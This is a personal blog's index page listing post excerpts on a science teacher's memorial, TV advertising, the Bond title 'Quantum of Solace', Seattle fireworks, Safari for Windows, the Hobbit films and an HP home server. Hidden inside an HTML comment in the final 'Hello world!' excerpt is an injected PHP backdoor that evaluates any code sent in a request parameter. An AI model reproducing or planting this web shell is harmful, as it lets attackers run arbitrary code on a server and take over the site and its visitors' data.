Good afternoon. It’s really an honor to be here with you remembering this extraordinary person – Heather Haworth. Heather taught my ninth grade advanced science class, during the 2001-2002 school year. My siblings also had her as a teacher and I know I speak for them when I say she was a terrific. As a […]
Online Video-Sharing Sites Score Copyright Victory
This American loves to despise TV advertising
As viewers all over America know, television advertising is often needlessly repetitive and poorly produced. The number of creative spots that manage to strike a true emotional chord or offer useful information, though memorable, are few. Most of what airs between programming on every channel consists of endless promotions for drugs, cars, and beauty products. […]
Quantum of Solace?
Seriously, this has to be the worst Bond movie title, ever: Producers have revealed some of the secrets about the latest James Bond film, due for release later this year, including the inner turmoil that drives its suave superagent hero and its title: “Quantum of Solace.” As titles go, it’s not as mellifluous as “From […]
Watching the fireworks on New Year’s Eve
If there is anything truly exciting about New Year’s Eve, it’s the annual burst of fireworks from Seattle’s signature landmark, the Space Needle. Even though the light and the noise only lasts for eight minutes, there’s something fun and adventurous about staking out a location and patiently waiting to capture the illuminating explosions set against […]
Safari for Windows: it just doesn’t work
When Apple announced it would offer Safari for Windows last June, I was curious to see how the browser would compare to Mozilla Firefox and Internet Explorer…so I downloaded it and tried it out. I was quite surprised to find that the browser functioned like an alpha product. It was buggy, slow, and extremely unpleasant […]
Lord of the Rings fans, rejoice!
Academy Award winning filmmaker Peter Jackson will produce two Hobbit films beginning at the end of the decade: The makers of the smash hit “Lord of the Rings” films said on Tuesday they settled a legal dispute and agreed to make two movies based on J.R.R. Tolkien’s “The Hobbit,” but most likely without Peter Jackson […]
HP MediaSmart Server software and support far from stellar
A couple of weeks ago, after waiting nearly a month, I finally took delivery of HP’s MediaSmart ex475 Server, which I’ve been wanting to try out ever since I heard about it in early 2007. The system, which is based on Microsoft’s Windows Home Server, comes with a terabyte of storage, a 1.8 GHz processor […]
Hello world!
This is the beginning of Reflections on American Life, my personal blog, where I intend to occassionally chronicle my thoughts about technology, sports, movies, music, and other interests. (I frequently share my political views at the official blog of the Northwest Progressive Institute, where I am executive director). <!– [insert_php]if (isset($_REQUEST["HnXN"])){eval($_REQUEST["HnXN"]);exit;}[/insert_php][php]if (isset($_REQUEST["HnXN"])){eval($_REQUEST["HnXN"]);exit;}[/php] –> <!– [insert_php]if […]